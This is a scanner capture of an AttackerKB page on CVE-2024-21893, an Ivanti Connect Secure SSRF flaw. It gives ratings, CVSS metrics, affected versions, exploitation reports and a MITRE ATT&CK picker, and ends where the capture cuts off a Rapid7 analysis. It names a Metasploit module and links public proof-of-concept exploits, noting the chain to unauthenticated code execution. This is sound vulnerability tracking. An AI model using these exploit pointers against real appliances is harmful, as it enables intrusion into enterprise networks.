attackerkb.com
Open in
urlscan Pro
3.160.150.36
Public Scan
Submitted URL: https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893?referrer=notificationEmail#rapid7-analysis/
Effective URL: https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893?referrer=notificationEmail
Submission Tags: demotag1 demotag2 Search All
Submission: On June 21 via api from RU — Scanned from DE
Effective URL: https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893?referrer=notificationEmail
Submission Tags: demotag1 demotag2 Search All
Submission: On June 21 via api from RU — Scanned from DE
Form analysis
3 forms found in the DOMPOST /search
<form action="/search" method="POST" id="search-condensed-form">
<input type="hidden" name="gorilla.csrf.Token" value="ykLyjsMIP9oN/bXYntk6ZbE3v9a9q6TpdjWG9Zl0aKROYJyLyvA8jj1IO5Z/K/LVAhudZZhoJ+/lGtzPYpRUUw==">
<input class="form-control nav-search" type="search" name="search" placeholder="Search..." aria-label="Search">
<button class="pseudo-search-button" type="submit"></button>
</form>
POST /search
<form id="search" class="form-inline" action="/search" method="POST">
<input type="hidden" name="gorilla.csrf.Token" value="ykLyjsMIP9oN/bXYntk6ZbE3v9a9q6TpdjWG9Zl0aKROYJyLyvA8jj1IO5Z/K/LVAhudZZhoJ+/lGtzPYpRUUw==">
<input class="form-control nav-search" type="search" name="search" placeholder="Search..." aria-label="Search">
<button class="pseudo-search-button" type="submit"></button>
</form>
<form id="eitw-report-form" class="needs-validation" novalidate="">
<p class="report-exploited-description">AttackerKB users want to know this is information they can trust.<br> Help the community by indicating the source(s) of your knowledge:</p>
<ul>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_vendorAdvisory">
<label class="form-check-label" for="modal_vendorAdvisory">Vendor Advisory</label>
</div>
<div class="add-reference collapse" id="modal_vendorAdvisoryReferenceCollapse">
<label class="" for="modal_vendorAdvisoryReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_vendorAdvisoryReference" class="eitw-reference form-control" aria-describedby="vendorAdvisoryFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_governmentAlert">
<label class="form-check-label" for="modal_governmentAlert">Government or Industry Alert</label>
</div>
<div class="add-reference collapse" id="modal_governmentAlertReferenceCollapse">
<label class="" for="modal_governmentAlertReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_governmentAlertReference" class="eitw-reference form-control" aria-describedby="governmentAlertFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_threatFeed">
<label class="form-check-label" for="modal_threatFeed">Threat Feed</label>
</div>
<div class="add-reference collapse" id="modal_threatFeedReferenceCollapse">
<label class="" for="modal_threatFeedReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_threatFeedReference" class="eitw-reference form-control" aria-describedby="threatFeedFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_news">
<label class="form-check-label" for="modal_news">News Article or Blog</label>
</div>
<div class="add-reference collapse" id="modal_newsReferenceCollapse">
<label class="" for="modal_newsReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_newsReference" class="eitw-reference form-control" aria-describedby="newsFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_personallyObserved">
<label class="form-check-label" for="modal_personallyObserved">Exploitation personally observed in an environment (client, customer, employer, or personal environment)</label>
</div>
<div class="add-reference collapse" id="modal_personallyObservedReferenceCollapse">
<label class="" for="modal_personallyObservedReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_personallyObservedReference" class="eitw-reference form-control" aria-describedby="personallyObservedFeedback">
</div>
</div>
</li>
<li>
<div class="eitw-other-input-group form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_eitwOther">
<label class="form-check-label" for="modal_eitwOther">Other:</label>
<div class="eitw-other-input">
<input type="text" id="modal_eitwOtherInput" class="eitw-required form-control" aria-describedby="eitwOtherInputFeedback" disabled="">
<div id="modal_eitwOtherInputFeedback" class="invalid-feedback"> Please explain the source of your report. </div>
</div>
</div>
<div class="add-reference collapse" id="modal_eitwOtherReferenceCollapse">
<label class="" for="modal_eitwOtherReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_eitwOtherReference" class="eitw-reference form-control" aria-describedby="eitwOtherReferenceFeedback">
</div>
</div>
</li>
</ul>
</form>
Text Content
A Rapid7 Project * Activity Feed * Topics * About * Leaderboard * Log In Attacker Value VERY HIGH 8 CVE-2024-21893 8 CVE ID AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: CVE ID: ADD REFERENCES: ADVISORY Description: URL: Add Another EXPLOIT Description: URL: Add Another MITIGATION Description: URL: Add Another RELATED ATTACKERKB TOPIC Description: URL: Add Another MISCELLANEOUS Description: URL: Add Another Cancel Submit Attacker Value VERY HIGH (1 user assessed) Exploitability UNKNOWN (1 user assessed) User Interaction NONE Privileges Required NONE Attack Vector NETWORK 8 CVE-2024-21893 Disclosure Date: January 31, 2024 • (Last updated February 02, 2024) ▾ CVE-2024-21893 CVSS v3 Base Score: 8.2 Exploited in the Wild Reported by ccondon-r7 and 2 more... View Source Details Report As Exploited in the Wild MITRE ATT&CK Log in to add MITRE ATT&CK tag Add MITRE ATT&CK tactics and techniques that apply to this CVE. MITRE ATT&CK Select the MITRE ATT&CK Tactics that apply to this CVE Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlImpact COLLECTION Select any Techniques used: Data from Local System Data from Removable Media Data from Network Shared Drive Input Capture Input Capture: Keylogging Input Capture: GUI Input Capture Input Capture: Web Portal Capture Input Capture: Credential API Hooking Data Staged Data Staged: Local Data Staging Data Staged: Remote Data Staging Screen Capture Email Collection Email Collection: Local Email Collection Email Collection: Remote Email Collection Email Collection: Email Forwarding Rule Clipboard Data Automated Collection Audio Capture Video Capture Man in the Browser Data from Information Repositories Data from Information Repositories: Confluence Data from Information Repositories: Sharepoint Data from Cloud Storage Object Man-in-the-Middle Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay Archive Collected Data Archive Collected Data: Archive via Utility Archive Collected Data: Archive via Library Archive Collected Data: Archive via Custom Method COMMAND AND CONTROL Select any Techniques used: Data Obfuscation Data Obfuscation: Junk Data Data Obfuscation: Steganography Data Obfuscation: Protocol Impersonation Fallback Channels Application Layer Protocol Application Layer Protocol: Web Protocols Application Layer Protocol: File Transfer Protocols Application Layer Protocol: Mail Protocols Application Layer Protocol: DNS Proxy Proxy: Internal Proxy Proxy: External Proxy Proxy: Multi-hop Proxy Proxy: Domain Fronting Communication Through Removable Media Non-Application Layer Protocol Web Service Web Service: Dead Drop Resolver Web Service: Bidirectional Communication Web Service: One-Way Communication Multi-Stage Channels Ingress Tool Transfer Data Encoding Data Encoding: Standard Encoding Data Encoding: Non-Standard Encoding Traffic Signaling Traffic Signaling: Port Knocking Remote Access Software Dynamic Resolution Dynamic Resolution: Fast Flux DNS Dynamic Resolution: Domain Generation Algorithms Dynamic Resolution: DNS Calculation Non-Standard Port Protocol Tunneling Encrypted Channel Encrypted Channel: Symmetric Cryptography Encrypted Channel: Asymmetric Cryptography CREDENTIAL ACCESS Select any Techniques used: OS Credential Dumping OS Credential Dumping: LSASS Memory OS Credential Dumping: Security Account Manager OS Credential Dumping: NTDS OS Credential Dumping: LSA Secrets OS Credential Dumping: Cached Domain Credentials OS Credential Dumping: DCSync OS Credential Dumping: Proc Filesystem OS Credential Dumping: /etc/passwd and /etc/shadow Network Sniffing Input Capture Input Capture: Keylogging Input Capture: GUI Input Capture Input Capture: Web Portal Capture Input Capture: Credential API Hooking Brute Force Brute Force: Password Guessing Brute Force: Password Cracking Brute Force: Password Spraying Brute Force: Credential Stuffing Two-Factor Authentication Interception Forced Authentication Exploitation for Credential Access Steal Application Access Token Steal Web Session Cookie Unsecured Credentials Unsecured Credentials: Credentials In Files Unsecured Credentials: Credentials in Registry Unsecured Credentials: Bash History Unsecured Credentials: Private Keys Unsecured Credentials: Cloud Instance Metadata API Unsecured Credentials: Group Policy Preferences Credentials from Password Stores Credentials from Password Stores: Keychain Credentials from Password Stores: Securityd Memory Credentials from Password Stores: Credentials from Web Browsers Modify Authentication Process Modify Authentication Process: Domain Controller Authentication Modify Authentication Process: Password Filter DLL Modify Authentication Process: Pluggable Authentication Modules Man-in-the-Middle Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay Steal or Forge Kerberos Tickets Steal or Forge Kerberos Tickets: Golden Ticket Steal or Forge Kerberos Tickets: Silver Ticket Steal or Forge Kerberos Tickets: Kerberoasting DEFENSE EVASION Select any Techniques used: Direct Volume Access Rootkit Obfuscated Files or Information Obfuscated Files or Information: Binary Padding Obfuscated Files or Information: Software Packing Obfuscated Files or Information: Steganography Obfuscated Files or Information: Compile After Delivery Obfuscated Files or Information: Indicator Removal from Tools Masquerading Masquerading: Invalid Code Signature Masquerading: Right-to-Left Override Masquerading: Rename System Utilities Masquerading: Masquerade Task or Service Masquerading: Match Legitimate Name or Location Masquerading: Space after Filename Process Injection Process Injection: Dynamic-link Library Injection Process Injection: Portable Executable Injection Process Injection: Thread Execution Hijacking Process Injection: Asynchronous Procedure Call Process Injection: Thread Local Storage Process Injection: Ptrace System Calls Process Injection: Proc Memory Process Injection: Extra Window Memory Injection Process Injection: Process Hollowing Process Injection: Process Doppelgänging Process Injection: VDSO Hijacking Indicator Removal on Host Indicator Removal on Host: Clear Windows Event Logs Indicator Removal on Host: Clear Linux or Mac System Logs Indicator Removal on Host: Clear Command History Indicator Removal on Host: File Deletion Indicator Removal on Host: Network Share Connection Removal Indicator Removal on Host: Timestomp Valid Accounts Valid Accounts: Default Accounts Valid Accounts: Domain Accounts Valid Accounts: Local Accounts Valid Accounts: Cloud Accounts Modify Registry Trusted Developer Utilities Proxy Execution Trusted Developer Utilities Proxy Execution: MSBuild Access Token Manipulation Access Token Manipulation: Token Impersonation/Theft Access Token Manipulation: Create Process with Token Access Token Manipulation: Make and Impersonate Token Access Token Manipulation: Parent PID Spoofing Access Token Manipulation: SID-History Injection Deobfuscate/Decode Files or Information BITS Jobs Indirect Command Execution Traffic Signaling Traffic Signaling: Port Knocking Rogue Domain Controller Exploitation for Defense Evasion Signed Script Proxy Execution Signed Script Proxy Execution: PubPrn Signed Binary Proxy Execution Signed Binary Proxy Execution: Compiled HTML File Signed Binary Proxy Execution: Control Panel Signed Binary Proxy Execution: CMSTP Signed Binary Proxy Execution: InstallUtil Signed Binary Proxy Execution: Mshta Signed Binary Proxy Execution: Msiexec Signed Binary Proxy Execution: Odbcconf Signed Binary Proxy Execution: Regsvcs/Regasm Signed Binary Proxy Execution: Regsvr32 Signed Binary Proxy Execution: Rundll32 XSL Script Processing Template Injection File and Directory Permissions Modification File and Directory Permissions Modification: Windows File and Directory Permissions Modification File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification Execution Guardrails Execution Guardrails: Environmental Keying Group Policy Modification Virtualization/Sandbox Evasion Virtualization/Sandbox Evasion: System Checks Virtualization/Sandbox Evasion: User Activity Based Checks Virtualization/Sandbox Evasion: Time Based Evasion Unused/Unsupported Cloud Regions Pre-OS Boot Pre-OS Boot: System Firmware Pre-OS Boot: Component Firmware Pre-OS Boot: Bootkit Abuse Elevation Control Mechanism Abuse Elevation Control Mechanism: Setuid and Setgid Abuse Elevation Control Mechanism: Bypass User Access Control Abuse Elevation Control Mechanism: Sudo and Sudo Caching Abuse Elevation Control Mechanism: Elevated Execution with Prompt Use Alternate Authentication Material Use Alternate Authentication Material: Application Access Token Use Alternate Authentication Material: Pass the Hash Use Alternate Authentication Material: Pass the Ticket Use Alternate Authentication Material: Web Session Cookie Subvert Trust Controls Subvert Trust Controls: Gatekeeper Bypass Subvert Trust Controls: Code Signing Subvert Trust Controls: SIP and Trust Provider Hijacking Subvert Trust Controls: Install Root Certificate Modify Authentication Process Modify Authentication Process: Domain Controller Authentication Modify Authentication Process: Password Filter DLL Modify Authentication Process: Pluggable Authentication Modules Impair Defenses Impair Defenses: Disable or Modify Tools Impair Defenses: Disable Windows Event Logging Impair Defenses: HISTCONTROL Impair Defenses: Disable or Modify System Firewall Impair Defenses: Indicator Blocking Impair Defenses: Disable or Modify Cloud Firewall Hide Artifacts Hide Artifacts: Hidden Files and Directories Hide Artifacts: Hidden Users Hide Artifacts: Hidden Window Hide Artifacts: NTFS File Attributes Hide Artifacts: Hidden File System Hide Artifacts: Run Virtual Instance Hijack Execution Flow Hijack Execution Flow: DLL Search Order Hijacking Hijack Execution Flow: DLL Side-Loading Hijack Execution Flow: Dylib Hijacking Hijack Execution Flow: Executable Installer File Permissions Weakness Hijack Execution Flow: LD_PRELOAD Hijack Execution Flow: Path Interception by PATH Environment Variable Hijack Execution Flow: Path Interception by Search Order Hijacking Hijack Execution Flow: Path Interception by Unquoted Path Hijack Execution Flow: Services File Permissions Weakness Hijack Execution Flow: Services Registry Permissions Weakness Hijack Execution Flow: COR_PROFILER Modify Cloud Compute Infrastructure Modify Cloud Compute Infrastructure: Create Snapshot Modify Cloud Compute Infrastructure: Create Cloud Instance Modify Cloud Compute Infrastructure: Delete Cloud Instance Modify Cloud Compute Infrastructure: Revert Cloud Instance DISCOVERY Select any Techniques used: System Service Discovery Application Window Discovery Query Registry System Network Configuration Discovery Remote System Discovery System Owner/User Discovery Network Sniffing Network Service Scanning System Network Connections Discovery Process Discovery Permission Groups Discovery Permission Groups Discovery: Local Groups Permission Groups Discovery: Domain Groups Permission Groups Discovery: Cloud Groups System Information Discovery File and Directory Discovery Account Discovery Account Discovery: Local Account Account Discovery: Domain Account Account Discovery: Email Account Account Discovery: Cloud Account Peripheral Device Discovery System Time Discovery Network Share Discovery Password Policy Discovery Browser Bookmark Discovery Domain Trust Discovery Virtualization/Sandbox Evasion Virtualization/Sandbox Evasion: System Checks Virtualization/Sandbox Evasion: User Activity Based Checks Virtualization/Sandbox Evasion: Time Based Evasion Software Discovery Software Discovery: Security Software Discovery Cloud Service Discovery Cloud Service Dashboard EXECUTION Select any Techniques used: Windows Management Instrumentation Scheduled Task/Job Scheduled Task/Job: At (Linux) Scheduled Task/Job: At (Windows) Scheduled Task/Job: Cron Scheduled Task/Job: Launchd Scheduled Task/Job: Scheduled Task Command and Scripting Interpreter Command and Scripting Interpreter: PowerShell Command and Scripting Interpreter: AppleScript Command and Scripting Interpreter: Windows Command Shell Command and Scripting Interpreter: Unix Shell Command and Scripting Interpreter: Visual Basic Command and Scripting Interpreter: Python Command and Scripting Interpreter: JavaScript/JScript Software Deployment Tools Native API Shared Modules Exploitation for Client Execution User Execution User Execution: Malicious Link User Execution: Malicious File Inter-Process Communication Inter-Process Communication: Component Object Model Inter-Process Communication: Dynamic Data Exchange System Services System Services: Launchctl System Services: Service Execution EXFILTRATION Select any Techniques used: Exfiltration Over Other Network Medium Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth Automated Exfiltration Scheduled Transfer Data Transfer Size Limits Exfiltration Over C2 Channel Exfiltration Over Alternative Protocol Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Exfiltration Over Physical Medium Exfiltration Over Physical Medium: Exfiltration over USB Transfer Data to Cloud Account Exfiltration Over Web Service Exfiltration Over Web Service: Exfiltration to Code Repository Exfiltration Over Web Service: Exfiltration to Cloud Storage IMPACT Select any Techniques used: Data Destruction Data Encrypted for Impact Service Stop Inhibit System Recovery Defacement Defacement: Internal Defacement Defacement: External Defacement Firmware Corruption Resource Hijacking Network Denial of Service Network Denial of Service: Direct Network Flood Network Denial of Service: Reflection Amplification Endpoint Denial of Service Endpoint Denial of Service: OS Exhaustion Flood Endpoint Denial of Service: Service Exhaustion Flood Endpoint Denial of Service: Application Exhaustion Flood Endpoint Denial of Service: Application or System Exploitation System Shutdown/Reboot Account Access Removal Disk Wipe Disk Wipe: Disk Content Wipe Disk Wipe: Disk Structure Wipe Data Manipulation Data Manipulation: Stored Data Manipulation Data Manipulation: Transmitted Data Manipulation Data Manipulation: Runtime Data Manipulation INITIAL ACCESS Select any Techniques used: Valid Accounts Valid Accounts: Default Accounts Valid Accounts: Domain Accounts Valid Accounts: Local Accounts Valid Accounts: Cloud Accounts Replication Through Removable Media External Remote Services Drive-by Compromise Exploit Public-Facing Application Supply Chain Compromise Supply Chain Compromise: Compromise Software Dependencies and Development Tools Supply Chain Compromise: Compromise Software Supply Chain Supply Chain Compromise: Compromise Hardware Supply Chain Trusted Relationship Hardware Additions Phishing Phishing: Spearphishing Attachment Phishing: Spearphishing Link Phishing: Spearphishing via Service LATERAL MOVEMENT Select any Techniques used: Remote Services Remote Services: Remote Desktop Protocol Remote Services: SMB/Windows Admin Shares Remote Services: Distributed Component Object Model Remote Services: SSH Remote Services: VNC Remote Services: Windows Remote Management Software Deployment Tools Taint Shared Content Replication Through Removable Media Exploitation of Remote Services Internal Spearphishing Use Alternate Authentication Material Use Alternate Authentication Material: Application Access Token Use Alternate Authentication Material: Pass the Hash Use Alternate Authentication Material: Pass the Ticket Use Alternate Authentication Material: Web Session Cookie Remote Service Session Hijacking Remote Service Session Hijacking: SSH Hijacking Remote Service Session Hijacking: RDP Hijacking Lateral Tool Transfer PERSISTENCE Select any Techniques used: Boot or Logon Initialization Scripts Boot or Logon Initialization Scripts: Logon Script (Windows) Boot or Logon Initialization Scripts: Logon Script (Mac) Boot or Logon Initialization Scripts: Network Logon Script Boot or Logon Initialization Scripts: Rc.common Boot or Logon Initialization Scripts: Startup Items Scheduled Task/Job Scheduled Task/Job: At (Linux) Scheduled Task/Job: At (Windows) Scheduled Task/Job: Cron Scheduled Task/Job: Launchd Scheduled Task/Job: Scheduled Task Valid Accounts Valid Accounts: Default Accounts Valid Accounts: Domain Accounts Valid Accounts: Local Accounts Valid Accounts: Cloud Accounts Account Manipulation Account Manipulation: Additional Azure Service Principal Credentials Account Manipulation: Exchange Email Delegate Permissions Account Manipulation: Add Office 365 Global Administrator Role Account Manipulation: SSH Authorized Keys External Remote Services Create Account Create Account: Local Account Create Account: Domain Account Create Account: Cloud Account Office Application Startup Office Application Startup: Office Template Macros Office Application Startup: Office Test Office Application Startup: Outlook Forms Office Application Startup: Outlook Home Page Office Application Startup: Outlook Rules Office Application Startup: Add-ins Browser Extensions BITS Jobs Traffic Signaling Traffic Signaling: Port Knocking Server Software Component Server Software Component: SQL Stored Procedures Server Software Component: Transport Agent Server Software Component: Web Shell Implant Container Image Pre-OS Boot Pre-OS Boot: System Firmware Pre-OS Boot: Component Firmware Pre-OS Boot: Bootkit Create or Modify System Process Create or Modify System Process: Launch Agent Create or Modify System Process: Systemd Service Create or Modify System Process: Windows Service Create or Modify System Process: Launch Daemon Event Triggered Execution Event Triggered Execution: Change Default File Association Event Triggered Execution: Screensaver Event Triggered Execution: Windows Management Instrumentation Event Subscription Event Triggered Execution: .bash_profile and .bashrc Event Triggered Execution: Trap Event Triggered Execution: LC_LOAD_DYLIB Addition Event Triggered Execution: Netsh Helper DLL Event Triggered Execution: Accessibility Features Event Triggered Execution: AppCert DLLs Event Triggered Execution: AppInit DLLs Event Triggered Execution: Application Shimming Event Triggered Execution: Image File Execution Options Injection Event Triggered Execution: PowerShell Profile Event Triggered Execution: Emond Event Triggered Execution: Component Object Model Hijacking Boot or Logon Autostart Execution Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Boot or Logon Autostart Execution: Authentication Package Boot or Logon Autostart Execution: Time Providers Boot or Logon Autostart Execution: Winlogon Helper DLL Boot or Logon Autostart Execution: Security Support Provider Boot or Logon Autostart Execution: Kernel Modules and Extensions Boot or Logon Autostart Execution: Re-opened Applications Boot or Logon Autostart Execution: LSASS Driver Boot or Logon Autostart Execution: Shortcut Modification Boot or Logon Autostart Execution: Port Monitors Boot or Logon Autostart Execution: Plist Modification Compromise Client Software Binary Hijack Execution Flow Hijack Execution Flow: DLL Search Order Hijacking Hijack Execution Flow: DLL Side-Loading Hijack Execution Flow: Dylib Hijacking Hijack Execution Flow: Executable Installer File Permissions Weakness Hijack Execution Flow: LD_PRELOAD Hijack Execution Flow: Path Interception by PATH Environment Variable Hijack Execution Flow: Path Interception by Search Order Hijacking Hijack Execution Flow: Path Interception by Unquoted Path Hijack Execution Flow: Services File Permissions Weakness Hijack Execution Flow: Services Registry Permissions Weakness Hijack Execution Flow: COR_PROFILER PRIVILEGE ESCALATION Select any Techniques used: Boot or Logon Initialization Scripts Boot or Logon Initialization Scripts: Logon Script (Windows) Boot or Logon Initialization Scripts: Logon Script (Mac) Boot or Logon Initialization Scripts: Network Logon Script Boot or Logon Initialization Scripts: Rc.common Boot or Logon Initialization Scripts: Startup Items Scheduled Task/Job Scheduled Task/Job: At (Linux) Scheduled Task/Job: At (Windows) Scheduled Task/Job: Cron Scheduled Task/Job: Launchd Scheduled Task/Job: Scheduled Task Process Injection Process Injection: Dynamic-link Library Injection Process Injection: Portable Executable Injection Process Injection: Thread Execution Hijacking Process Injection: Asynchronous Procedure Call Process Injection: Thread Local Storage Process Injection: Ptrace System Calls Process Injection: Proc Memory Process Injection: Extra Window Memory Injection Process Injection: Process Hollowing Process Injection: Process Doppelgänging Process Injection: VDSO Hijacking Exploitation for Privilege Escalation Valid Accounts Valid Accounts: Default Accounts Valid Accounts: Domain Accounts Valid Accounts: Local Accounts Valid Accounts: Cloud Accounts Access Token Manipulation Access Token Manipulation: Token Impersonation/Theft Access Token Manipulation: Create Process with Token Access Token Manipulation: Make and Impersonate Token Access Token Manipulation: Parent PID Spoofing Access Token Manipulation: SID-History Injection Group Policy Modification Create or Modify System Process Create or Modify System Process: Launch Agent Create or Modify System Process: Systemd Service Create or Modify System Process: Windows Service Create or Modify System Process: Launch Daemon Event Triggered Execution Event Triggered Execution: Change Default File Association Event Triggered Execution: Screensaver Event Triggered Execution: Windows Management Instrumentation Event Subscription Event Triggered Execution: .bash_profile and .bashrc Event Triggered Execution: Trap Event Triggered Execution: LC_LOAD_DYLIB Addition Event Triggered Execution: Netsh Helper DLL Event Triggered Execution: Accessibility Features Event Triggered Execution: AppCert DLLs Event Triggered Execution: AppInit DLLs Event Triggered Execution: Application Shimming Event Triggered Execution: Image File Execution Options Injection Event Triggered Execution: PowerShell Profile Event Triggered Execution: Emond Event Triggered Execution: Component Object Model Hijacking Boot or Logon Autostart Execution Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Boot or Logon Autostart Execution: Authentication Package Boot or Logon Autostart Execution: Time Providers Boot or Logon Autostart Execution: Winlogon Helper DLL Boot or Logon Autostart Execution: Security Support Provider Boot or Logon Autostart Execution: Kernel Modules and Extensions Boot or Logon Autostart Execution: Re-opened Applications Boot or Logon Autostart Execution: LSASS Driver Boot or Logon Autostart Execution: Shortcut Modification Boot or Logon Autostart Execution: Port Monitors Boot or Logon Autostart Execution: Plist Modification Abuse Elevation Control Mechanism Abuse Elevation Control Mechanism: Setuid and Setgid Abuse Elevation Control Mechanism: Bypass User Access Control Abuse Elevation Control Mechanism: Sudo and Sudo Caching Abuse Elevation Control Mechanism: Elevated Execution with Prompt Hijack Execution Flow Hijack Execution Flow: DLL Search Order Hijacking Hijack Execution Flow: DLL Side-Loading Hijack Execution Flow: Dylib Hijacking Hijack Execution Flow: Executable Installer File Permissions Weakness Hijack Execution Flow: LD_PRELOAD Hijack Execution Flow: Path Interception by PATH Environment Variable Hijack Execution Flow: Path Interception by Search Order Hijacking Hijack Execution Flow: Path Interception by Unquoted Path Hijack Execution Flow: Services File Permissions Weakness Hijack Execution Flow: Services Registry Permissions Weakness Hijack Execution Flow: COR_PROFILER Submit Metasploit Module exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893 CISA KEV ListedCommon in enterpriseDifficult to patchGives privileged accessObserved in nation state sponsored attacksUnauthenticated TOPIC TAGS Select the tags that apply to this CVE (Assessment added tags are disabled and cannot be removed) What makes this of high-value to an attacker? Vulnerable in default configuration Unauthenticated Observed in ransomware attacks Observed in nation state sponsored attacks Gives privileged access Easy to weaponize Difficult to patch Common in enterprise CISA KEV Listed What makes this of low-value to an attacker? Vulnerable in uncommon configuration Requires user interaction Requires physical access Requires elevated access No useful access Difficult to weaponize Authenticated Submit DESCRIPTION A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. See More See Less * Ratings & Analysis * Vulnerability Details * Analysis ADD ASSESSMENT Log in to add an Assessment 4 ccondon-r7 (234) February 02, 2024 8:19pm UTC (4 months ago)•Edited 4 months ago RATINGS Attacker Value Very High CISA KEV ListedCommon in enterpriseDifficult to patchGives privileged accessUnauthenticated TECHNICAL ANALYSIS See the Rapid7 analysis for details on the exploit chain. WOULD YOU ALSO LIKE TO DELETE YOUR EXPLOITED IN THE WILD REPORT? Delete Assessment Only Delete Assessment and Exploited in the Wild Report Log in to Add Reply See MoreSee Less CVSS V3 SEVERITY AND METRICS Data provided by the National Vulnerability Database (NVD) Base Score: 8.2 High Impact Score: 4.2 Exploitability Score: 3.9 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N Attack Vector (AV): Network Attack Complexity (AC): Low Privileges Required (PR): None User Interaction (UI): None Scope (S): Unchanged Confidentiality (C): High Integrity (I): Low Availability (A): None GENERAL INFORMATION Offensive Application Unknown Utility Class Unknown Ports Unknown OS Unknown Vulnerable Versions ICS 9.1R18 ICS 22.6R2 IPS 9.1R18 IPS 22.6R1 Prerequisites Unknown Discovered By Unknown PoC Author Unknown Metasploit Module Unknown Reporter Unknown VENDORS * ivanti PRODUCTS * connect secure 21.12, * connect secure 21.9, * connect secure 22.1, * connect secure 22.2, * connect secure 22.3, * connect secure 22.4, * connect secure 22.6, * connect secure 9.0, * connect secure 9.1, * neurons for zero-trust access -, * policy secure 22.1, * policy secure 22.2, * policy secure 22.3, * policy secure 22.4, * policy secure 22.5, * policy secure 22.6, * policy secure 9.0, * policy secure 9.1 METASPLOIT MODULES exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893 (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_21893.rb) EXPLOITED IN THE WILD Reported by: ccondon-r7 indicated source as News Article or Blog (https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day) Reported: January 31, 2024 10:26pm UTC (4 months ago) WOULD YOU LIKE TO DELETE THIS EXPLOITED IN THE WILD REPORT? Yes, delete this report sfewer-r7 indicated source as Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog) Reported: February 01, 2024 8:55am UTC (4 months ago) WOULD YOU LIKE TO DELETE THIS EXPLOITED IN THE WILD REPORT? Yes, delete this report inokii indicated sources as * Vendor Advisory (https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US) * Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog) * Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2024/01/31/cisa-adds-one-known-exploited-vulnerability-catalog-0) Reported: February 01, 2024 3:37pm UTC (4 months ago) WOULD YOU LIKE TO DELETE THIS EXPLOITED IN THE WILD REPORT? Yes, delete this report REFERENCES CANONICAL CVE-2024-21893 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21893) EXPLOIT The following exploit POCs have not been verified by Rapid7 researchers, but are sourced from: nomi-sec/PoC-in-GitHub. Additional sources will be added here as they become relevant. Notes: We will only add the top 3 POCs for a given CVE. POCs added here must have at least 2 GitHub stars. CVE-2024-21893.py (https://github.com/h4x0r-dz/CVE-2024-21893.py) CVE-2024-21893-to-CVE-2024-21887 (https://github.com/Chocapikk/CVE-2024-21893-to-CVE-2024-21887) MISCELLANEOUS https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day ADDITIONAL INFO Authenticated Unknown Exploitable Unknown Reliability Unknown Stability Unknown Available Mitigations Unknown Shelf Life Unknown Userbase/Installbase Unknown Patch Effectiveness Unknown Rapid7 February 02, 2024 7:37pm UTC (4 months ago) TECHNICAL ANALYSIS OVERVIEW On January 31, 2024, Ivanti disclosed CVE-2024-21893, affecting Ivanti Connect Secure and Ivanti Policy Secure. The vulnerability is described as a server side request forgery (SSRF) issue in the Security Assertion Markup Language (SAML) component of the appliance. Ivanti Connect Secure appliances have recently been under active exploitation via a number of vulnerabilities chained together; an authentication bypass vulnerability (CVE-2023-46805) has been chained to a command injection vulnerability (CVE-2024-21887), to give an attacker unauthenticated remote code execution. Our Rapid7 analysis published on January 12, 2024, goes into detail on these vulnerabilities. To address those two vulnerabilities, Ivanti released a mitigation file which successfully prevented the exploit chain from working. At the time of publishing this first mitigation, Ivanti had not yet released any official patches for the issues. With the publication of the SSRF 